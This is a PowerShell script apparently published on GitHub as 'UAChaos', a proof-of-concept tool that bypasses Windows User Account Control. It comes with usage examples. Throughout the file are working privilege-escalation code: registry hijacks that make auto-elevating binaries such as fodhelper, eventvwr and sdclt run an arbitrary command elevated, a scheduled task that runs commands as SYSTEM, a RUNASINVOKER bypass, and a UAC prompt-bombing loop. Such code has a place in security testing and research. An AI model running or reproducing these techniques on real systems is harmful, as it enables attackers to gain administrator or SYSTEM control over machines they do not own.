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297 lines (251 loc) · 10.5 KB
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<#
.SYNOPSIS
UAC Bypass PoC Script with Multiple Methods Alpha Version with SYSTEM User-getter
.DESCRIPTION
This script attempts various known UAC bypass Methods on Windows.
It supports executing either a single Method or all sequentially until one succeeds.
With the GetSystem flag you also can start a SYSTEM process.
UAC Bombing with proxing LOLBAS commands also available.
Extra Info:
For foreground the cmd window in SYSTEM Mode you can use the MSDT ServiceUI.exe:
query user
# Get Session ID i.e. 2
# Run:
.\UAChaos.ps1 -Method computerdefaults -Command "W:\ServiceUI.exe -session:2 C:\Windows\System32\cmd.exe" -GetSystem
.EXAMPLE
.\UAChaos.ps1 -Method computerdefaults -Command "calc.exe"
.\UAChaos.ps1 -Method fodhelper -Command "cmd.exe /c "start cmd.exe" -GetSystem
.\UAChaos.ps1 -UACBombing -Command "W:\IA\Setup.exe"
.NOTES
Autor: suuhm
Github: https://github.com/suuhm
.PARAMETER Method
Method name to attempt.
Valid values: fodhelper, eventvwr, computerdefaults, sdclt, wsreset, mmc, eudcedit, netplwiz, all
.PARAMETER Command
Command to run elevated (default: cmd.exe)
.PARAMETER GetSystem
Optional Command if you wish to start process as SYSTEM.
.PARAMETER RunAsInvoker
Optional Command if you wish to bypass UAC for common lowlevel tools.
.PARAMETER UACBombing
Optional File (C:\Temp\Payload.exe) NO Command yet if you wish to start UAC Prompt Bombing.
#>
param(
[Parameter(Mandatory=$false)]
[ValidateSet("fodhelper", "eventvwr", "computerdefaults", "sdclt", "wsreset", "mmc", "eudcedit", "netplwiz", "all")]
[string]$Method,
[Parameter(Mandatory=$false)]
[string]$Command = "cmd.exe",
[Parameter(Mandatory=$false)]
[switch]$GetSystem,
[Parameter(Mandatory=$false)]
[switch]$RunAsInvoker,
[Parameter(Mandatory=$false)]
[switch]$UACBombing
)
function Show-Banner {
$banner = @"
__ __ ______ ______ __
| \ | \ / \ / \ | \
| `$`$ | `$`$| `$`$`$`$`$`$\| `$`$`$`$`$`$\| `$`$____ ______ ______ _______
| `$`$ | `$`$| `$`$__| `$`$| `$`$ \`$`$| `$`$ \ | \ / \ / \
| `$`$ | `$`$| `$`$ `$`$| `$`$ | `$`$`$`$`$`$`$\ \`$`$`$`$`$`$\| `$`$`$`$`$`$\| `$`$`$`$`$`$`$
| `$`$ | `$`$| `$`$`$`$`$`$`$`$| `$`$ __ | `$`$ | `$`$ / `$`$| `$`$ | `$`$ \`$`$ \
| `$`$__/ `$`$| `$`$ | `$`$| `$`$__/ \| `$`$ | `$`$| `$`$`$`$`$`$`$| `$`$__/ `$`$ _\`$`$`$`$`$`$\
\`$`$ `$`$| `$`$ | `$`$ \`$`$ `$`$| `$`$ | `$`$ \`$`$ `$`$ \`$`$ `$`$| `$`$
\`$`$`$`$`$`$ \`$`$ \`$`$ \`$`$`$`$`$`$ \`$`$ \`$`$ \`$`$`$`$`$`$`$ \`$`$`$`$`$`$ \`$`$`$`$`$`$`$
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
UAC Bypass Testing — UAChaos v.0.1a (c) 2025 by suuhm
"@
Write-Host $banner -ForegroundColor Red -BackgroundColor Black
}
function Invoke-GetSystem {
param([string]$Cmd)
# Creating schedule Tasks to become SYSTEM, also SC Service creation or PSExec.exe etc. possible.
$Cmd = "cmd.exe /c `"schtasks /create /tn WinSystemCmd /tr `"$Cmd`" /sc onlogon /ru SYSTEM /f && schtasks /run /tn WinSystemCmd`""
#
# Fallback:
# Edge SCHEDTASK Hijacking:
# $Cmd = "cmd.exe /c `"copy /Y `"C:\Windows\System32\cmd.exe`" `"C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe`"`""
return $Cmd
}
function Invoke-RunAsInvoker {
param([string]$Cmd)
# RAI Bypass Fallback
$env:__COMPAT_LAYER = "RUNASINVOKER"
Start-Process $Cmd
}
function Invoke-UACBombing {
param([string]$Cmd)
#
# UAC-Prompt-Bombing PoC
#
Write-Error "" -ErrorAction SilentlyContinue
# Dbg returned Errorlevel
# echo $?
while (-not $?) {
try{
Start-Process -Verb RunAs wlrmdr.exe -ArgumentList "-s 3600 -f 0 -t _ -m _ -a 11 -u $Cmd"
# Start-Process -Verb RunAs wt.exe -ArgumentList "cmd /c `"$Cmd`""
} catch {
Write-Error "" -ErrorAction SilentlyContinue
}
}
}
function Cleanup-Registry {
param([string]$path)
try {
if (Test-Path -Path $path) {
Remove-Item -Path $path -Recurse -Force -ErrorAction SilentlyContinue
}
} catch {
Write-Warning "Cleanup failed for $path : $_"
}
}
function Invoke-Fodhelper {
Write-Host "`n [+] Trying fodhelper.exe Method..."
$reg1 = "HKCU:\Software\Classes\qUACkery\Shell\Open\Command"
$reg2 = "HKCU:\Software\Classes\MS-Settings"
New-Item -Path $reg1 -Force | Out-Null
Set-ItemProperty -Path $reg1 -Name "(default)" -Value $Command -Force
New-ItemProperty -Path $reg1 -Name "DelegateExecute" -Value "" -Force | Out-Null
New-Item -Path $reg2 -Force | Out-Null
Set-ItemProperty -Path $reg2 -Name "CurVer" -Value "qUACkery" -Force
Start-Process "fodhelper.exe"
Start-Sleep -Seconds 5
Cleanup-Registry $reg1
Cleanup-Registry $reg2
}
function Invoke-Eventvwr {
Write-Host "`n [+] Trying eventvwr.exe Method..."
$reg = "HKCU:\Software\Classes\mscfile\shell\open\Command"
New-Item -Path $reg -Force | Out-Null
Set-ItemProperty -Path $reg -Name "(default)" -Value $Command -Force
New-ItemProperty -Path $reg -Name "DelegateExecute" -Value "" -Force | Out-Null
Start-Process "eventvwr.exe"
Start-Sleep -Seconds 5
Cleanup-Registry "HKCU:\Software\Classes\mscfile"
}
function Invoke-ComputerDefaults {
Write-Host "`n [+] Trying ComputerDefaults.exe Method..."
$reg = "HKCU:\Software\Classes\ms-settings\shell\open\Command"
New-Item -Path $reg -Force | Out-Null
Set-ItemProperty -Path $reg -Name "(default)" -Value $Command -Force
New-ItemProperty -Path $reg -Name "DelegateExecute" -Value "" -Force | Out-Null
Start-Process "C:\Windows\System32\ComputerDefaults.exe"
Start-Sleep -Seconds 5
Cleanup-Registry "HKCU:\Software\Classes\ms-settings"
}
function Invoke-Sdclt {
Write-Host "`n [+] Trying sdclt.exe Method..."
$reg1 = "HKCU:\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe"
$reg2 = "HKCU:\Software\Classes\exefile\shell\open\Command"
New-Item -Path $reg1 -Force | Out-Null
Set-ItemProperty -Path $reg1 -Name "(default)" -Value $Command -Force
New-Item -Path $reg2 -Force | Out-Null
Set-ItemProperty -Path $reg2 -Name "(default)" -Value $Command -Force
New-ItemProperty -Path $reg2 -Name "DelegateExecute" -Value "" -Force | Out-Null
Start-Process "C:\Windows\System32\sdclt.exe" -WindowStyle Hidden
Start-Sleep -Seconds 5
#Remove-Item -Path $regPath -Recurse -Force
Cleanup-Registry $reg1
Cleanup-Registry $reg2
}
function Invoke-Wsreset {
Write-Host "`n [+] Trying WSReset.exe Method..."
$reg = "HKCU:\Software\Classes\WSReset\shell\open\Command"
New-Item -Path $reg -Force | Out-Null
Set-ItemProperty -Path $reg -Name "(default)" -Value $Command -Force
New-ItemProperty -Path $reg -Name "DelegateExecute" -Value "" -Force | Out-Null
Start-Process "wsreset.exe"
Start-Sleep -Seconds 5
Cleanup-Registry $reg
}
function Invoke-Mmc {
Write-Host "`n [+] Trying mmc.exe Method..."
$reg = "HKCU:\Software\Classes\mscfile\shell\open\Command"
New-Item -Path $reg -Force | Out-Null
Set-ItemProperty -Path $reg -Name "(default)" -Value $Command -Force
New-ItemProperty -Path $reg -Name "DelegateExecute" -Value "" -Force | Out-Null
Start-Process "mmc.exe"
Start-Sleep -Seconds 5
Cleanup-Registry $reg
}
function Invoke-Eudcedit {
Write-Host "`n [+] Trying eudcedit.exe Method..."
$reg = "HKCU:\Software\Classes\eudcedit\shell\open\command"
New-Item -Path $reg -Force | Out-Null
Set-ItemProperty -Path $reg -Name "(default)" -Value $Command -Force
New-ItemProperty -Path $reg -Name "DelegateExecute" -Value "" -Force | Out-Null
Start-Process "eudcedit.exe"
Start-Sleep -Seconds 5
Cleanup-Registry $reg
}
function Invoke-Netplwiz {
Write-Host "`n [+] Trying netplwiz.exe Method..."
$reg = "HKCU:\Software\Classes\netplwiz\shell\open\command"
New-Item -Path $reg -Force | Out-Null
Set-ItemProperty -Path $reg -Name "(default)" -Value $Command -Force
New-ItemProperty -Path $reg -Name "DelegateExecute" -Value "" -Force | Out-Null
Start-Process "netplwiz.exe"
Start-Sleep -Seconds 5
Cleanup-Registry $reg
}
function Invoke-AllMethods {
$Methods = @(
{ Invoke-Fodhelper },
{ Invoke-Eventvwr },
{ Invoke-ComputerDefaults },
{ Invoke-Sdclt },
{ Invoke-Wsreset },
{ Invoke-Mmc },
{ Invoke-Eudcedit },
{ Invoke-Netplwiz }
)
foreach ($MethodFunc in $Methods) {
try {
$MethodFunc.Invoke()
Start-Sleep -Seconds 10
} catch {
Write-Warning "`n [!] Method failed: $_"
}
}
}
#
# << MAIN
#
Show-Banner
if ($GetSystem) {
$Command = Invoke-GetSystem -Cmd $Command
Write-Host "`n [!] Running command ($Command) as NT\SYSTEM." -ForegroundColor DarkCyan
}
if ($RunAsInvoker) {
Invoke-RunAsInvoker -Cmd $Command
Write-Host "`n [!] Running RUNASINVOKER Bypass with command ($Command)" -ForegroundColor DarkCyan
}
if ($UACBombing) {
Invoke-UACBombing -Cmd $Command
Write-Host "`n [!] Running UAC Prompt Bombing Attack with command ($Command)" -ForegroundColor DarkCyan
}
if (-not $Method -and -not $RunAsInvoker -and -not $UACBombing) {
Write-Host "`n [!] Please specify a Method. Valid values are: fodhelper, eventvwr, computerdefaults, sdclt, wsreset, mmc, eudcedit, netplwiz, all." -ForegroundColor Yellow
exit
}
if ($Method) {
switch ($Method.ToLower()) {
"fodhelper" { Invoke-Fodhelper }
"eventvwr" { Invoke-Eventvwr }
"computerdefaults" { Invoke-ComputerDefaults }
"sdclt" { Invoke-Sdclt }
"wsreset" { Invoke-Wsreset }
"mmc" { Invoke-Mmc }
"eudcedit" { Invoke-Eudcedit }
"netplwiz" { Invoke-Netplwiz }
"all" { Invoke-AllMethods }
default {
Write-Host "`n [!] Unknown Method '$Method'. Valid values are: fodhelper, eventvwr, computerdefaults, sdclt, wsreset, mmc, eudcedit, netplwiz, all." -ForegroundColor Red
exit
}
}
}